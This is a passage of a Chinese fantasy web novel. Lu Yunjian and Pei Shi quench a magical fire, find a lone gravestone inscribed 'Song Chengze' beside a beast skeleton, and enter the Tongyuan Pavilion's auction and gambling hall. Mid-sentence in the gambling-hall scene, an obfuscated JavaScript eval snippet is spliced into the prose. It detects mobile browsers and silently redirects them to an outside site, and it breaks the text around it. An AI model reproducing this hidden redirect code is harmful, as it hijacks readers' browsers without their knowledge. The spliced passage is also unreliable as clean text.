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裴世抬手结阵,一道结界降于众人身前,暂时护住了树林与院落,然而这只减慢了火焰蔓延的速度,火势竟是丝毫不减,甚至还在缓慢地向树林蔓延。 “那边是树林,烧起来这村子就完蛋了,”陆云笺心急如焚,举手道,“各位,谁能调个水把这火灭了吗?” “……” 这可不巧了。 虽说不同修士金木水火土五系各有所长,但好巧不巧,这四个人没一个长于水系的,造个小水球还行,要调水灭火那就有些难为人了,更何况这火看起来也不是寻常的火。 众人大眼瞪小眼一会儿,尚在思考对策,忽见一道黑影从天而降,紧接着海边倏然升起一道火墙,竟直接将席卷而来的火焰生生逼退数丈! ……以火攻火,可还行? 季衡自天边落下,一挥手,数尺火墙便继续将那道庞然黑影与火焰往海中央逼去,然而那火焰竟只能退,却是如何也灭不了。季衡在几人面前站定,道:“是同渊阁。” 贺江年惊道:“什、什么?放火的是同渊阁?他们为什么放火?” 季衡道:“尚不知是何缘故,眼下还是尽快将大火逼退要紧。阿瑶,助我……”季瑶正欲上前,却见裴世打了个响指,一团黑影疾掠而过,冲进火中。 又是两团黑影掠过,众人终于看清——原来不是冲进火中,而是吞吃了一大团火。吞完一团火后,那东西的尾巴上便出现了一簇小火苗,伴随着吱吱乱叫。 “……老鼠??” 裴世道:“先前觉得这东西没用,现在倒是派上用场了。” 季衡瞥了那东西一眼,抬手收回火焰,而同渊阁的黑影也不知何时已经消失不见,海上唯余被逼至远处的簇簇火焰。数只老鼠似的妖物争先恐后往海中那簇簇火焰奔去,卖力地啃食着。 陆云笺道:“这是什么法术?” “什么法术?”裴世眸中火光摇曳,似是思考了片刻,“叫‘化兽术’吧。” 陆云笺道:“那这又是什么动物?在图鉴上没看到过,是你变出来的新物种?” “怎么会?化兽术只能幻化出现实中存在的兽类,且灵力损耗大,也就只能变些小东西出来。”裴世说着微微一笑,“至于名字么……叫‘火吱鼠’。” “火吱鼠?” “这东西不入流,寻常图鉴上见不到。你之前见着它,觉得人家叫的‘火耗子’难听,要起个新名字,左右想不出来,说它见到火就吱吱叫,就叫‘火吱鼠’吧。” 陆云笺心道:其实“火吱鼠”……也不是很好听。 火吱鼠以火为食,却难免被烈火灼伤,偏偏又贪食,一门心思往火里扑,几个来回,数只耗子竟都在火中被烧成了灰烬。 贺江年道:“裴世,你教教这法术呗?火耗子不够使啊。” “问我作甚?”裴世朝陆云笺一抬下巴,“创始人在这儿呢。” 陆云笺:“??” 43. 宋承泽 “……”陆云笺无言片刻,皮笑肉不笑道,“创始人不会。还请学富五车、才高八斗的裴公子赐教。” 裴世微微眯起眼睛,也不知对她的阴阳怪气是何感想,道:“喊三遍它的名字,再打个响指就行了。” “这么简单?”贺江年半信半疑地试了一回,见毫无动静,道,“这不行啊。”他摸着下巴思索半天,“莫非叫它们的名字不能叫‘火吱鼠’,要叫小黑小白小黄?” 而一旁陆云笺试了一回,却是立竿见影,化出了一只大耗子,往火中蹿去。 贺江年:“……” 裴世笑道:“看来贺公子和它们没缘分。” 季衡、季瑶也和火耗子没缘分。于是和火耗子有缘分的陆裴二人化出了数十只,手都麻了,才见得火势渐渐小了下去。 陆云笺道:“同渊阁不是第一大商行吗?先前还说想开发溟海村这块地,现在趁着夜间来放火是什么意思?” 季衡道:“白日我与同渊先生商议此事时,仍不见有异,却不料夜间同渊阁竟行此事……若非它不曾隐去形态,怕是不会这样轻易就被认出。” 陆云笺道:“既然是第一大商行,那派几个人来放火不就行了?还用得着全员出动来放火?”裴世闻言,微微蹙眉思索着什么。 “陆小姐所言的确有理。”季衡远远望了一眼海上渐渐消失的火光,“真相究竟如何,怕是还得等几日后探同渊阁才能知晓。” 裴世却一反常态地笑道:“许是同渊阁也不知我们在此处,一时放松了警惕。”陆云笺抬眼看他,见他笑得诡异,心下明了几分,便不再说话。 季衡闻言看向裴世,道:“只是天下第一大商行如此行事,未免操之过急……” “‘操之过急’?”裴世道,“依季公子所见,同渊阁为何会放这把火?” 季衡道:“怕是与溟海村诸事脱不了干系……”话未说完,却见一只还没吃饱的火吱鼠游过海面,顶着一尾巴的火就朝树林蹿去,立时打住,正欲去追,却见一道黑影已经蹿了出去。 “别乱跑!!”陆云笺再顾不得多作思索,拔腿就追着那小耗子而去,顺着那上蹿下跳的火光一路追至树林之中,好歹没什么草木让它的尾巴燎着,陆云笺正要下手去捉,裴世却追了上来,手掌一翻,又将火吱鼠收了回去。 陆云笺扶额:“……”忘了这法术幻化出来的东西还能收回去了。 倒是裴世忽然出现给她吓了一跳,脚下一滑就顺着一旁的小土坡滑了下去,裴世一惊,伸手去抓却抓了个空。 陆云笺一路滑一路扑腾着去抓一切能抓住的东西,好在半道上攀住了一块石块,这才没滚下去。倒也是奇怪,这块石头摸着粗糙不平,形状却是方方正正,又换了个地方攀着,才发现这石头一面是自然的粗糙,一面却较为光滑。 裴世掌中托出一团照明焰火,一把将陆云笺拉了上来:“黑灯瞎火,不要乱跑。” 陆云笺却道:“裴世,你照照下面,那是什么?”然而转头去看,却看见四周立着无数块方方正正的石块,错综遍布,并不算井然有序,四下望去,密密麻麻包围他们的竟都是这样方方正正的…… 石碑。 陆云笺一个趔趄,差点又滚下去。 敢情他们大晚上的闯进了人家的坟场啊?! 陆云笺后背蹿上一阵凉意,登时寒毛直竖,拉了裴世就往树林外跑,然而裴世却反手拽住她,另一手托着焰火往下照去,陆云笺顺着他的视线往下看,竟见茂密草木之下,掩藏着一抹白。 仔细看来,竟是森森白骨,在夜里泛着寒光。裴世用掌中火焰将挡住视线的草木枝叶焚去,幽幽火光中,两人终于看清了它的全貌。 不是人骨,而是一副巨大的兽类骨架,大部分都已经破碎,随水流去,只剩一小部分,犹如白玉山岳,矗在岸边,其上月华流转,竟显得皎洁无暇。 骨架不远处立着一块石碑,想来就是陆云笺方才情急之下攀住的那块。那石碑似乎已经有些年头了,缝隙中已经长出草叶,且由于时节,草叶已经变得枯黄颓靡。 石碑刻字的一面朝着海边那副骨架,二人所立之处无法看见,裴世便将掌中的焰火给了陆云笺,自己又起了一团焰火,顺着小土坡缓缓下到那块石碑前。 石碑上刻的字只有寥寥几个,且刻得很深,但由于没有描漆,又已经有些年月,石碑表面也并不十分光滑,因此并不容易辨认。裴世托着焰火,辨认了好一会儿,才终于辨清,出声念道:“宋、承、泽。” 没有坟墓,没有祭品,孤零零地不与其他石碑在一处,独独立在这具同样孤零零的骨架前。 没有籍贯,没有生平,只有这个名字。 宋承泽。 是谁? “下面是什么东西?” 冷不防身后有人这样说了一句,陆云笺原本正出神想着“宋承泽”这个名字,吓得“哇”地一声大叫,险些又从小土坡上栽下去。 一晚上被吓好几回,陆云笺魂都没了一半,深呼吸几遍,道:“好像是什么兽类的骨架。似乎有些年月了,破损得厉害,看不出是什么。” 贺江年道:“真是骨架?会不会是渔船的残骸什么的?” 陆云笺道:“真是骨架,不然你下去看看?” 贺江年连忙摆手:“我看下面阴气重得很,不去不去。” 裴世顺着小土坡缓缓走上来,道:“季公子与季小姐调查溟海村多时,可有听说过‘宋承泽’这个人?” 季瑶蹙眉道:“溟海村统共三十三户,百余人,祖籍谱系均已查过,没有人叫‘宋承泽’,十几年前倒是有一户宋姓人家在此居住,后来不幸遭遇妖魔袭击,一家全部丧命。这片树林是溟海村逝者的安身之地,没有妖魔之气,兄长与我也不愿冒昧打扰。是有什么问题么?” “没什么问题。”裴世道,“只是有些好奇,既然所谓“宋承泽”不是溟海村人,又为何非要在溟海村立一座碑。”他的视线缓缓扫过立在岸边早已破碎不堪的骨架,“待几日后去同渊阁查探,或许这些乱七八糟的东西都能有个交代。” 然而并没有等上好几日。第二日一大早,喧嚷人声甚至可以隔着重重林木透进来。 溟海村所处的蓟上虽地处沿海,离三大门派远得很,平日里街上总是冷冷清清,见不到多少人,同渊阁一来,无数慕名而来的修士商贾挤满了大街小巷、客店驿站,热闹得反常,整日喧嚣吵闹,难以安宁。 从前海妖设的屏障起了作用,外人进不了溟海村,这回没了海妖,几人便设了道结界将溟海村与外界隔开,防止外人闯入。 原以为同渊阁虽是天下第一大商行,但为了方便四处迁移,应当不会修建得太过庞大,顶多与前一日见到的海上黑影差不太多,谁知不仅是庞大,穿过树林,竟见得沿海一线凭空而起无数雕梁画栋,熙熙攘攘穿行着无数人。 最为高峻的是中央一座九层高塔,檐角挂着青铜铃,塔顶悬着一面青铜镜,宛如日月高悬,每层都设了好几道结界禁制,倒是不像商行,更像是镇了万年大妖的镇妖塔。 陆云笺觉得稀奇,转头道:“这天下第一大商行的主人,对道法的信仰竟然这么深?寻常情况请仙门设设结界作作法就算了,一个商行,来往进出那么多,包得这么严严实实做什么?” 裴世道:“想来是做了什么亏心事,怕妖魔鬼怪怕到了极点。” 陆云笺不由地想起昨日那场大火,心道:是不大对劲。 抬脚踏上通往九层塔的石桥,这石桥倒是货真价实的石头,全长数丈,扎扎实实铺了好几层金箔,从上头踩过去,随着步履移动生出细碎花纹,像碾碎了一地星辰。 桥上人多得很,便是不想费银钱买东西的,也想进去瞧一瞧琳琅珠玉;便是不愿进门去瞧各样宝贝的,也要从这金箔桥上走一遭,沾沾铜臭气。 陆云笺攀住桥栏,行得缓慢无比,唯恐给人撞进海里去 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行在前方的季衡停下脚步:“同渊阁可行于水上,亦可行在空中。平日里数座楼阁尽数隐在这神龟的龟甲之中,只留中央一座九层塔,到了商行开放的日子,这才将商行的形态全数显现出来。” 走过金箔桥,便上九莲台。自九层塔下延伸出九层重瓣,分出九条道路,其中四条路各自通往东西南北方的亭台楼阁,其余五条路,通往九层塔最底层的五扇门。 到九莲台,拥挤的人潮便四下散开了。 虽说同渊阁阁主秉持“来者是客”的规矩,但这九层塔中,什么拍卖行、珍宝阁、赌坊,去的都是些有所求的人,求得越多,失得也越多,里头七七八八什么人都有,哪日小命搭进去都弄不明白,因此一般人都绕去东南西北的楼台逛,进这九层塔的并不多。 季衡不知从哪儿掏出几个纱笠,递与二人:“九层塔中鱼龙混杂,戴上为好。” 三人随意挑了扇门,门外左右侍立着蒙面女郎,见三人走来,只上下扫了一眼,问道:“三位想去第几层?” 季衡来过几回,知道塔中布置,于是道:“第三层。” 女郎便递过三张金签:“还望三位尽兴而归。” 进门顺着甬道走了好一段,终于豁然开朗。 先前陆云笺在云间世山脚所见的商行便隶属于同渊阁,两者内部制式倒是相差不大,只是商行中设了数张小案,而同渊阁第三层内设了九层楼,不设小案,只每层设了数间雅间,隐在重重珠帘之后。 陆云笺扫了一圈,疑道:“这同渊先生很喜欢“九”这个数字?”每层所设雅间数,也正是九间。 裴世道:“莫不是走错了,这怕不是商行,而是个镇妖塔吧。” 三人挑了间正对展台的雅间,里头布置华美如宫殿,龙涎瑞脑流出阵阵腻香,魏紫姚黄交出斑驳光影,数架九莲灯照得原本略显昏暗的高塔之内如白昼烈日一般晃眼。 陆云笺扇扇面前的空气,将溢满空中的腻香扇去一些。这同渊先生的确财大气粗,只是这些金碧辉煌都是一个式样的,教人感到有些腻味,客观来讲……还可能有些俗气。 同渊阁与先前那家商行规矩不同,并非人满才开始,到了时辰,无论座上人数几何,拍卖都是要开始的。 许是因为蓟上终究还是偏远了些,这回雅间比往日少了些人,只满了六成,三人时间掐得准,坐了没一会儿,拍卖便开始了。 先拍的那几件奇珍异宝三人都无甚兴趣,原以为若是那把宝剑真是神龙鳞片所制,应当要放到最后几件,然而百无聊赖地坐了将近一个时辰,却听高台上的拍卖师道:“黑玉宝剑,由五百年寒潭黑龙的鳞片熔铸而成,光照之下溢彩流光,于暗处可映照九天朗月,吸收其精华。至寒至坚,削铁无声。” 这样一把奇剑,显然吸引了无数人的兴趣,三人为此宝剑而来,听见这话,也都抬头凝神看向高台。 “等等。” 季衡忽然起身,掀开珠帘又仔仔细细看了一阵,蹙眉道:“不对,不是这把剑。” 44. 同渊阁 此言一出,陆裴二人都抬头看他。 什么叫作“不是这把剑”?如果不是这把剑,应该是哪把剑? 季衡缓缓平复心绪,沉声道:“本次要出售的宝剑,由神龙鳞片熔铸而成,但不是这一把。原本那把剑,正是由妄尘前辈的龙鳞铸成。” 镜阳宗作为天下第二大门派,在同渊阁内自然是埋了无数眼线,同渊阁放出去的消息说是要挂售一柄宝剑,旁人不知是什么宝剑,却逃不过镜阳宗的眼睛。 季衡继续道:“原本我也不确定究竟是不是妄尘前辈的龙鳞,不敢贸然行事。后来看到同渊阁设置数倍于寻常的繁琐阵法结界,心中不安,此时一见,可以确定——有人盗走了那柄宝剑。” 陆云笺道:“但同渊阁虽然不是修真门派,却有的是仙门高手,在这样重重叠叠、密不透风的结界之下,谁能盗走一把那么珍贵的宝剑?” 季衡看向她,眸中忧虑没有遮掩分毫:“足见此人难以对付。”他思索片刻,重新将纱笠戴上,“不知此人动机如何,但绝不能任由他将宝剑盗走。同渊阁九层塔内人员较为单一,多是仙门大家与豪门大户,唯有第六层人员混杂,立即前往第六层。” 说罢拂动珠帘抬脚便走,一路畅通无阻,到了门口,见了侍立在门边的女郎,季衡点头示意道:“劳烦二位,前往第六层。” 蒙面女郎并不急着应允,而是凭空端出一张托盘,里头放着一枚白玉骰子,点数鲜红如血:“第六层一醉坊,不择高低贵贱,但迎有缘之人。还请三位掷骰。” 饶是季衡平日里再沉稳从容,焦急忧虑之下,仍不免失了几分耐心:“如何叫作‘有缘之人’?” 蒙面女郎道:“掷出点数为六即可。” 季衡闻言,去拿骰子的手微微一顿,犹豫片刻,还是拿过骰子掷了出去。骰子在托盘中转了几转,最后停在一个嫣红的点上。 ——“一”。 季衡眸色微动,面上神情不变,示意陆云笺上前掷骰。陆云笺倒是和一醉坊很有缘,骰子掷出去,只在托盘上轻轻巧巧地弹了一下,便停在了“六”这个点数上。 蒙面女郎笑道:“这位小姐便是‘有缘之人’了。”说着便将托盘转向裴世,“还请这位公子掷骰吧。” 裴世抬眼看她,手却没动。 陆云笺比他还紧张。投出了“六”,自然是好事,但如果只有她一个人投出了“六”呢? 且不说同渊阁内鱼龙混杂,而她初来乍到,不熟悉其中规矩,同渊阁第六层一醉坊可是赌坊,还要去查探是谁盗了宝剑、同渊阁与妄尘神龙是何关系、与溟海村又有何干系,实在是…… 季瑶与贺江年留在溟海村镇守,季衡眼下是不能进了,若是裴世也掷不出六点…… 正思绪纷乱,却见裴世伸手拿过骰子,随意掷了出去。看似随意,手上却暗暗蓄了力,若是见势不好,无论是用灵力强行驱动骰子继续转,还是用障眼法蒙混过关,都必须让它停在六点。 明明只是随意一投,这回骰子在托盘上转的时间却格外长,几人全都屏息瞧着,到了最后,骰子晃晃悠悠停在侧边,眼看就要向四点歪去,裴世指尖微动,然而尚未出手,便见骰子又滚了几滚,停在了六点。 裴世蓦地收手,下意识以为是陆云笺施了法术,让骰子停在六点,转头,却正正对上陆云笺的目光,心中一动,脑中却下意识想:不是。 蒙面女郎递上两张金签,抚掌笑道:“那便请两位有缘之人自行前往第六层吧。” 陆云笺捏着金签,转头去看季衡,见季衡微不可察地轻轻点了一下头,使了个眼色,意思是:你们先走,我再想办法。 陆云笺便扯过裴世的衣袖,轻声道了一句:“我们先走。” 顺着甬道走了一段,却见前方灯光越来越暗,渐渐涌出大片雾气,伸手不见五指。陆云笺扯着裴世衣袖的手不自觉地收紧几分,声音也有些细微颤抖:“裴、裴世,你说说话啊,可别突然变成木头人小纸人不见了……” 却听裴世轻笑一声,反手抓住了她的手:“原本我应当是没有投出六点的。” 陆云笺听他的声音一如往常,心中安稳了几分,道:“猜到了。要不是你把它弄成六点,我真怕我进了一醉坊就是去送人头。” 裴世却道:“不是我。” 尽管什么都看不到,但陆云笺还是往他声音传来的地方看去:“什么不是你?” 裴世道:“我的确想伺机行事,但有人先我一步出手了。” 陆云笺蹙眉道:“是季衡哥?可如果是他,他明明也可以把自己的点数弄成六的。总不能是同渊阁自己,它可以有一万种方法让我们进去,没必要用这种障眼法,再说了,我们进了一醉坊,对它有什么好处吗?” 裴世并未表态,而是道:“这同渊先生,与溟海村的关系绝不简单。但昨日放火的,却不见得就是同渊阁。” 陆云笺道:“我昨日就想问你,你是不是觉得有哪里不对?” 裴世道:“一年前同渊阁势头大盛,吞并德昌行,成了新的天下第一大商行。若是要放火烧毁溟海村遗迹,无论是这一年间,还是同渊阁渐渐兴起的数年间,他都有足够的机会,何必趁云间世与镜阳宗调查溟海村之时动手?即便作为商行,不可能全数知晓仙门动态,但必然已经得了风声,就算是担心被查出端倪,也不会如此打草惊蛇。” 陆云笺接道:“更何况,谁会顶着那么显眼的一座楼去放火?这不是生怕别人不知道它是同渊阁么?”思索片刻,却又有了新疑问,“如此说来,如果放火的不是同渊阁,那会不会是有谁想引起我们对同渊阁的注意,甚至是想陷害它?” 裴世道:“你觉不觉得,查溟海海妖与黑龙幻境途中,有人来阻,却也有人来推动?” 陆云笺道:“什么意思?” 裴世道:“有人替溟海海妖遮掩气息,破坏绝杀阵,这是阻止我们调查海妖;而海妖前去攻击陆……尊主,却看似与之相反。” 陆云笺道:“你是说,海妖去攻击我爹,并非偶然?” 裴世道:“虽说灵山灵力丰沛,海妖受了重伤,想要迅速获取灵气修复魂魄,灵山的确是个好去处,因此有可能是巧合,可为何偏偏选中了尊主闭关之处?我先前不曾想明白,但如今想来,怕是有东西想引你去那处,说来是我一时大意……” 陆云笺道:“可我去了灵山,却导致了海妖被杀死的结果。” 裴世顿了片刻,道:“陆小姐这会儿就忘了自己开的献祭阵了?若是不出意外,你觉得是你的魂魄先被吞噬,还是海妖先死?” “……”陆云笺下意识握紧他的手,道,“……所以这个引我去灵山的东西,也想要帮助海妖。可他就这么确定我会开献祭阵?” “……”裴世像是想起了什么,一时沉默不语,直到陆云笺唤他,这才说道,“即便不确定,只是试探,那也不亏。” 陆云笺道:“试探什么?” 裴世道:“比如,试探你是不是真的失了记忆。” 陆云笺心中一紧,疑道:“什么意思?” 裴世却不再继续这个话题,而是道:“如此看来,这两股势力都是助海妖夺魂的,更甚者,或许就是同一股势力。而第三股势力,就是引我们来同渊阁、看似助我们探查黑龙幻境的势力,只是他究竟为何如此,眼下还不能定论。原本我们是要查设置黑龙幻境杀人的是谁,如今想来,或许我们应该换个方向——他为什么要杀人,他杀的人,是不是罪有应得。” 陆云笺心下了然:“你是说阿宋演的那出木偶戏?要这么说,这回盗走宝剑的,也没准就是他。” 裴世笑道:“往日竟是我看错了,不想你还是有些脑子的。” 猝不及防被他一嘲,陆云笺先是一愣,随即毫不客气地回道:“那我倒是没有看错,裴公子的眼神的确不太好使。” 说完便觉裴世握着自己的手紧了几分,还以为他恼羞成怒,正要补几句挽回一下,却听他道:“陆小姐的眼神好使,待会儿纸醉金迷,可莫要被迷了眼睛。” 话音刚落,眼前看似无休无止的迷雾忽地被涌进来的金光驱散开来,一时间原本昏暗的甬道被炫目金光照得恍如白昼,汹涌热浪与鼎沸人声在刹那间灌满四周。 陆云笺勉强睁眼,抬头去看,“一醉坊”三个烫金大字龙飞凤舞、洒脱自如,又见两侧所题大字,写的是:未必千杯皆是梦,何妨一醉笑相逢。 裴世转头笑道:“不像赌坊,倒像是家酒楼。” 一醉坊内布置是同渊阁一贯的制式,绫罗绸缎铺于地,青铜莲灯悬于顶,铺地锦缎尽头一座高台,自高台往门口延伸出一张长桌,长桌旁又有数张大小不一的圆桌,无一不被人围得满满当当。 桌上摆的没有别的,唯有一坛又一坛美 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16113819|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒。玉液琼浆,如饮甘露,金樽银瓮,觥筹交错。 赌坊内的人身份、来路不一,有朴实无华、喝得满地打滚的;有戴了纱笠、穿了斗篷,想遮掩面目,却喝得衣衫不整的;有看着清高不可接近,却喝得满面酡红、几近癫狂的…… 竟不像是饮了酒,而像是百鬼夜行,癫狂扭曲。 陆云笺不自觉地压了压头上的纱笠,声音也压低了几分:“不是……他们被下药了啊?这是赌坊吗?” 裴世抓着她的手再度紧了几分,他毫不客气道:“我看这同渊先生多半有病。抓紧了,莫要像他们一样也失了神智。” 走上前去看,才发现高台的珠帘之后置着一把太师椅,一人斜斜倚坐在上头,旁边侍立着两人,珠帘交错,看不清面目。 陆云笺道:“那上面坐的是同渊先生?” 裴世道:“如此故弄玄虚,应当就是了。不想龙鳞宝剑失窃,他竟还有心思在此寻消遣。” 陆云笺道:“大概是他胸有成竹,觉得盗宝剑的人出不了同渊阁。” 这时,长桌旁有人遥遥向高台之上、珠帘之后的人敬了杯酒,朗声道:“小人听闻同渊先生神通广大、无所不能,小人想与先生赌上一局。” 高台之下侍立的女郎并不像每层入口处的女郎蒙着薄薄面纱,而是戴了张张牙舞爪的鬼怪面具。 女郎得了同渊先生的允准后,飘飘然自高台之下走来,接过那人手中的酒杯,也朗声道:“不问前生来世之因果,不涉天上地下之乾坤。请问公子,想赌什么?”听这声音,显然是被扭曲过。 那人生得白白净净、挺拔端正,是个书生模样,闻言朝同渊先生行了一礼,道:“小人想请先生取我仇家性命。” “赌注为何?” “凡小人所有,皆愿拱手奉上。” 鬼面女郎得了同渊先生示意,道:“要你双手双脚,你愿是不愿?” 长桌旁众人倒吸一口凉气,白面书生抬头看着鬼面女郎,一时怔然,没有说话。半晌,他问:“如果小人赢了,同渊先生会应允小人的请求,小人的手脚也能保住吧?” 鬼面女郎轻笑一声:“那是自然。不过,如果你输了,请求会被驳回,手脚也就没了。赌局还未开始,还请公子考虑清楚罢。” 书生深吸一口气,闭上眼睛,颤声道:“小人愿意。” 鬼面女郎等候多时,端出一张托盘,上头放着一枚晶莹剔透的骰子,道:“按老规矩,点数大者为胜。公子可想换一种赌法?” “就比大小吧。” 鬼面女郎捏起托盘中的骰子,一点莹白在她点着鲜红蔻丹的指尖转了几转,随后被掷了出去,书生腿一软,险些跪倒在地。 ——“五”。 众人都替他捏着一把汗。唯有掷出“六”,他才能胜,要么掷出“五”,至少能保住他双手双脚。 陆云笺低声对裴世道:“这玩法简单又单一,全程让同渊阁的人操控,要是他们耍诈怎么办?” 裴世道:“跟同渊先生赌的,必然都是迫不得已,行至穷途末路,只能赌上一赌,顾不得这许多。若是同渊阁耍诈,周围这么多双眼睛盯着,其中不乏仙门高手、豪门大户,闹起来不好看,传出去也不好听。” 书生嘴唇青白,双腿抖如筛糠,眼前阵阵发黑,缓缓接过骰子,闭上眼,用力一掷。力道过重了些,骰子弹到了地上,滚了几圈,最后停下。 书生没有去看。 鬼面女郎不紧不慢地拨开蜂拥上前去看点数的人,拾起骰子,念道:“‘六’。” 书生蓦地睁眼,满眼难以置信,僵在原地,没有动作。鬼面女郎走至他身前,语气平淡,无波无澜:“恭喜公子,你赢了。” 书生讷讷:“我、我赢了?我……我一向运气不佳,怎么这回……” 鬼面女郎道:“按照约定,我家主人应允了公子的请求。还请公子将那人所居之地、生辰八字等悉数告知。”说罢便领了书生下去。 陆云笺尚未收回停在书生身上的目光,忽然听一人说道:“这位小姐,我家主人想与你赌一局,不知小姐是否愿意?”转头,看见高台下的另一名鬼面女郎不知何时来到了她面前。 虽然鬼面将她的脸遮得严严实实,但陆云笺本能地觉得,面具之下的脸,应该是笑吟吟的。 那鬼面女郎便笑吟吟地,向她递出了一杯酒。 45. 求一醉 显而易见,这酒有问题。就算没问题……自打上次喝了一口酒便神智不清,陆云笺是再也不敢碰酒了。 此时那鬼面女郎将酒递过来,周围的人或惊诧或好奇,目光都凝在她身上。陆云笺很诚实地嘀咕了一句:“我可以拒绝吗。”不仅是想拒绝这杯酒,也是想拒绝和同渊先生赌。 这一声很轻,但那鬼面女郎显然是听清了,她半是意外半是尴尬地笑道:“是吗?我家主人鲜少主动邀人入赌局,小姐可是考虑清楚了?” 正说着,珠帘微动,竟是同渊先生从高台上走了下来。没了珠帘遮掩,陆云笺终于看清了三人打扮。 左侧是一名紫袍道士,鹤发银丝,臂挽拂尘,面容清癯,神姿傲然;右侧人作头陀打扮,孔武有力,猛壮无比,张狂嚣张,有目中无人之态。左右二人皆未佩戴面具,唯有中间那人,戴着纯白面具,与周围一众鲜艳扭曲的鬼面形成鲜明对比。 在陆云笺原本的想象中,既是天下第一大富商,不说膘肥体壮,也该人高马大,再不济也得是个中等身材,然而这同渊先生,瘦得如同柴杆撑着华服竖在地上,原本应当还不到不惑之年,头发却已斑白,似乎忧劳过度,整个人都显得有些苍白。 紫袍道士从鬼面女郎手中接过酒,替同渊先生开口道:“我家主人说这位小姐的魂魄奇特,想瞧上一瞧。至于赌注,小姐想要什么,同渊阁尽力奉上。” 陆云笺笑道:“我这人无欲无求,什么都不需要。先生还是另寻他人吧。” 道士道:“怎会有人当真无欲无求?小姐莫不是看不清自己的心?若是如此,喝下这杯酒,也就都明了了。”见他死缠烂打不肯放弃,陆云笺心中叫苦,正苦思冥想另一个理由,忽听门外传来一阵吵闹。 “哪个是同渊先生?出来!什么狗屁第一大商行,拍卖会上竟出了赝品!” 这声音有几分熟悉,陆云笺顺着声音瞧过去,见来人衣着华贵、气势汹汹,一贯的骄矜姿态,不曾穿戴斗篷纱笠遮挡面貌,不免有些愕然:“季繁洲?” 鬼面女郎率先上前挡住季繁洲,温声道:“这位小公子,借一步说话,莫要在此大吵大闹坏了规矩。” 季繁洲道:“哪门子规矩?你们同渊阁的规矩就是卖赝品?” 四下众人中神智还算清醒的,都放下了手中酒杯,瞧着这边。 见他咄咄逼人,鬼面女郎也有些不悦:“小公子如何说话?同渊阁做交易,讲的便是真心实意、你情我愿。小公子自己在拍卖会上拍了东西,若是有何处不满意,也好说话,如何一上来就口出污蔑之辞?” 季繁洲道:“好好说话?那成啊,我问你,你家今日拍卖会上的黑玉宝剑,可是真真切切由龙鳞熔铸而成?” 陆云笺心下了然:原来拍下那柄黑玉宝剑的是季繁洲。这人倒也厉害,竟也查到妄尘身上来了? 鬼面女郎不慌不忙:“如何有假?寒潭黑龙鳞片铸成,足足用了一百九十一片龙鳞。此处第八层便是闻名天下的炼器阁,小公子便是要行污蔑之事,也不当选这么一个荒唐的理由。” 季繁洲怒道:“那你说说,用的是哪处的龙鳞?是随随便便选的,还是溟——”话未说完,声却止住了,季繁洲憋红了脸,扼住自己的喉咙,竟是再发不出一点声音。 同渊先生从始至终都侧对着季繁洲,不曾有过任何动作。 紫袍道士喝道:“小公子是昏了头罢,同渊阁要出售的,从始至终都是这把黑玉剑,小公子若是想要别的,那便自己去寻,如何要来同渊阁寻不痛快!”说着便指了几名小厮,要将季繁洲押下去。 季繁洲出不得声,情急之下召了灵弓,就欲拉弓搭箭。 裴世却忽然道:“慢着。”听这声音,显然也被特意改变了。 众人抬头望他。 裴世道:“这位公子的确多有冒犯之处,可阁下也不该禁了他的言。同渊阁身正不怕影子斜,不若让他开口,当堂对质,免得落人口舌。” 紫袍道士斜眼睨他:“清者自清,何必为了这么个头脑不清的扫了众位雅兴?此事同渊阁自会解决,无需公子操心。”说着便要将季繁洲押走。 季繁洲没再拉弓,而是一发狠,咬破舌尖,哑着嗓子道:“你敢……我是镜阳宗……” 紫袍道士浑然不吃这套:“镜阳宗又如何,今日便是镜阳宗季宗主亲自来了,也得给个说法再走。押下去。”眼看季繁洲就要被押走,陆云笺心一横,上前道:“等等。” 同渊先生一片空白的面具终于偏移几分,正对着她。 陆云笺看着那张一片空白的脸,没来由地有些发怵,微微移开视线道:“若是我和先生赌,先生愿不愿意将这位小公子作为赌注?若是我赢了,先生便不再追究他的罪责,我将他带走,也不会再给同渊阁添麻烦。若是我输了,那么先生想看什么,便看什么吧。” 紫袍道士蹙眉道:“小姐与这人是什么交情?” 陆云笺道:“几面之缘,也可算作朋友。” 紫袍道士有些犹豫,向同渊先生请示片刻,终于再度开口:“那便请小姐喝下这杯酒吧。” “……”陆云笺有些无奈,“我酒量不行,不能直接掷骰子吗?” 紫袍道士道:“小姐不必担心,一杯酒而已,同渊阁不至于让小姐失了神智。我家主人若是邀人入赌局,都是要赠一杯酒的,这是历来的规矩,小姐莫要再推脱了。” 陆云笺正犹豫着要不要接,身旁却有一只手先替她伸了出去。裴世道:“这规矩未免强人所难。既如此,不如我来与先生赌吧。” 一旁一直直挺挺站着不动的头陀却忽然出手阻住他:“我家主人不想与公子赌。” 裴世冷声道:“你倒是你家主人肚子里的虫,你家主人没开口,倒由得你先来说话了?”说着趁人尚未反应过来,径自夺了紫袍道士手中的酒。 那头陀恼羞成怒,去抓裴世手腕,却被裴世轻轻巧巧地闪身避过,反手一拽,腿上一扫,先把头陀扫得翻倒在地。再看他手中斟了满杯的酒,只轻轻晃荡些许,不曾洒出一滴。 头陀又惊又怒,瞪着裴世,喝道:“是你?!” 裴世毫无诚意地回道:“是谁?我与阁下见过吗?” 头陀怒道:“就是你!那次追击鬼魈,你非要活的,我将它击成碎块,你觉得我抢了你的功劳,就……” 裴世道:“阁下莫不是昏了头,我何时见过你?” 头陀还要再辩,裴世却摆手道:“阁下还是省着点力气,我现下并不想与你争辩此事。”他说着转向同渊先生,“先生若是不想与我赌,那便由我替她喝了这杯酒,再开赌局。如何?” 这回,不是道士也不是头陀,同渊先生亲自开口了。毫无意外,这声音自然也是被扭曲过的:“公子可曾看见大门处的匾额?” 